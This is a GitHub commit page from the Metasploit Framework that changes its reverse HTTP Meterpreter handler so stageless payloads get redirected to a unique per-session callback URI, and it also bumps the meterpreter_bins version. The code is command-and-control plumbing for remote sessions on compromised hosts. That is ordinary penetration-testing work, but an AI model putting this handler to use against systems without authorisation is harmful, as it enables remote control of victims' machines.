Skip to content

Commit 753978f

Browse files
author
Brent Cook
committed
Land rapid7#5141, stageless unique URIs with the same UUID
2 parents 3927024 + 2ee2891 commit 753978f

File tree

5 files changed

+42
-17
lines changed

5 files changed

+42
-17
lines changed

Gemfile.lock

Lines changed: 2 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -9,7 +9,7 @@ PATH
99
json
1010
metasploit-concern (= 0.4.0)
1111
metasploit-model (~> 0.29.0)
12-
meterpreter_bins (= 0.0.21)
12+
meterpreter_bins (= 0.0.22)
1313
msgpack
1414
nokogiri
1515
packetfu (= 1.1.9)
@@ -132,7 +132,7 @@ GEM
132132
pg
133133
railties (< 4.0.0)
134134
recog (~> 1.0)
135-
meterpreter_bins (0.0.21)
135+
meterpreter_bins (0.0.22)
136136
method_source (0.8.2)
137137
mime-types (1.25.1)
138138
mini_portile (0.6.2)

lib/msf/core/handler/reverse_http.rb

Lines changed: 24 additions & 4 deletions
Original file line numberDiff line numberDiff line change
@@ -3,6 +3,7 @@
33
require 'rex/sync/ref'
44
require 'rex/payloads/meterpreter/patch'
55
require 'rex/payloads/meterpreter/uri_checksum'
6+
require 'rex/post/meterpreter/packet'
67
require 'rex/parser/x509_certificate'
78
require 'msf/core/payload/windows/verify_ssl'
89

@@ -19,6 +20,7 @@ module ReverseHttp
1920
include Msf::Handler
2021
include Rex::Payloads::Meterpreter::UriChecksum
2122
include Msf::Payload::Windows::VerifySsl
23+
include Rex::Post::Meterpreter
2224

2325
#
2426
# Returns the string representation of the handler type
@@ -222,8 +224,6 @@ def on_request(cli, req, obj)
222224
uuid.arch ||= obj.arch
223225
uuid.platform ||= obj.platform
224226

225-
print_status "#{cli.peerhost}:#{cli.peerport} Request received for #{req.relative_resource}... (UUID:#{uuid.to_s})"
226-
227227
conn_id = nil
228228
if info[:mode] && info[:mode] != :connect
229229
conn_id = generate_uri_uuid(URI_CHECKSUM_CONN, uuid)
@@ -233,7 +233,25 @@ def on_request(cli, req, obj)
233233

234234
# Process the requested resource.
235235
case info[:mode]
236+
when :init_connect
237+
print_status("#{cli.peerhost}:#{cli.peerport} (UUID: #{uuid.to_s}) Redirecting stageless connection ...")
238+
239+
# Handle the case where stageless payloads call in on the same URI when they
240+
# first connect. From there, we tell them to callback on a connect URI that
241+
# was generated on the fly. This means we form a new session for each.
242+
sum = uri_checksum_lookup(:connect)
243+
new_uri = generate_uri_uuid(sum, uuid) + '/'
244+
245+
# This bit is going to need to be validated by the Ruby/MSF masters as I
246+
# am not sure that this is the best way to get a TLV packet out from this
247+
# handler.
248+
# Hurl a TLV back at the caller, and ignore the response
249+
pkt = Packet.new(PACKET_TYPE_RESPONSE, 'core_patch_url')
250+
pkt.add_tlv(TLV_TYPE_TRANS_URL, new_uri)
251+
resp.body = pkt.to_r
252+
236253
when :init_python
254+
print_status("#{cli.peerhost}:#{cli.peerport} (UUID: #{uuid.to_s}) Staging Python payload ...")
237255
url = payload_uri(req) + conn_id + '/'
238256

239257
blob = ""
@@ -268,6 +286,7 @@ def on_request(cli, req, obj)
268286
})
269287

270288
when :init_java
289+
print_status("#{cli.peerhost}:#{cli.peerport} (UUID: #{uuid.to_s}) Staging Java payload ...")
271290
url = payload_uri(req) + conn_id + "/\x00"
272291

273292
blob = ""
@@ -296,9 +315,9 @@ def on_request(cli, req, obj)
296315
})
297316

298317
when :init_native
318+
print_status("#{cli.peerhost}:#{cli.peerport} (UUID: #{uuid.to_s}) Staging Native payload ...")
299319
url = payload_uri(req) + conn_id + "/\x00"
300320

301-
print_status("#{cli.peerhost}:#{cli.peerport} Staging connection for target #{req.relative_resource} received...")
302321
resp['Content-Type'] = 'application/octet-stream'
303322

304323
blob = obj.stage_payload
@@ -335,9 +354,10 @@ def on_request(cli, req, obj)
335354
})
336355

337356
when :connect
357+
print_status("#{cli.peerhost}:#{cli.peerport} (UUID: #{uuid.to_s}) Attaching orphaned/stageless session ...")
358+
338359
resp.body = ""
339360
conn_id = req.relative_resource
340-
print_status("Incoming orphaned or stageless session #{conn_id}, attaching...")
341361

342362
# Short-circuit the payload's handle_connection processing for create_session
343363
create_session(cli, {

lib/msf/core/handler/reverse_http/stageless.rb

Lines changed: 4 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -38,7 +38,10 @@ def generate_stageless(opts={})
3838
host = datastore['LHOST']
3939
host = "[#{host}]" if Rex::Socket.is_ipv6?(host)
4040
url = "http#{opts[:ssl] ? "s" : ""}://#{host}:#{datastore['LPORT']}"
41-
url << "#{generate_uri_uuid_mode(:connect)}/"
41+
42+
# Use the init_connect mode because we're stageless. This will force
43+
# MSF to generate a new URI when the first request is made.
44+
url << "#{generate_uri_uuid_mode(:init_connect)}/"
4245

4346
# invoke the given function to generate the architecture specific payload
4447
opts[:generator].call(url) do |dll|

lib/rex/payloads/meterpreter/uri_checksum.rb

Lines changed: 11 additions & 9 deletions
Original file line numberDiff line numberDiff line change
@@ -10,18 +10,20 @@ module UriChecksum
1010
# Define 8-bit checksums for matching URLs
1111
# These are based on charset frequency
1212
#
13-
URI_CHECKSUM_INITW = 92 # Windows
14-
URI_CHECKSUM_INITN = 92 # Native (same as Windows)
15-
URI_CHECKSUM_INITP = 80 # Python
16-
URI_CHECKSUM_INITJ = 88 # Java
17-
URI_CHECKSUM_CONN = 98 # Existing session
13+
URI_CHECKSUM_INITW = 92 # Windows
14+
URI_CHECKSUM_INITN = 92 # Native (same as Windows)
15+
URI_CHECKSUM_INITP = 80 # Python
16+
URI_CHECKSUM_INITJ = 88 # Java
17+
URI_CHECKSUM_CONN = 98 # Existing session
18+
URI_CHECKSUM_INIT_CONN = 95 # New stageless session
1819

1920
# Mapping between checksums and modes
2021
URI_CHECKSUM_MODES = Hash[
21-
URI_CHECKSUM_INITN, :init_native,
22-
URI_CHECKSUM_INITP, :init_python,
23-
URI_CHECKSUM_INITJ, :init_java,
24-
URI_CHECKSUM_CONN, :connect
22+
URI_CHECKSUM_INITN, :init_native,
23+
URI_CHECKSUM_INITP, :init_python,
24+
URI_CHECKSUM_INITJ, :init_java,
25+
URI_CHECKSUM_INIT_CONN, :init_connect,
26+
URI_CHECKSUM_CONN, :connect
2527
]
2628

2729
URI_CHECKSUM_MIN_LEN = 5

metasploit-framework.gemspec

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -64,7 +64,7 @@ Gem::Specification.new do |spec|
6464
# are needed when there's no database
6565
spec.add_runtime_dependency 'metasploit-model', '~> 0.29.0'
6666
# Needed for Meterpreter on Windows, soon others.
67-
spec.add_runtime_dependency 'meterpreter_bins', '0.0.21'
67+
spec.add_runtime_dependency 'meterpreter_bins', '0.0.22'
6868
# Needed by msfgui and other rpc components
6969
spec.add_runtime_dependency 'msgpack'
7070
# Needed by anemone crawler

0 commit comments

Comments
 (0)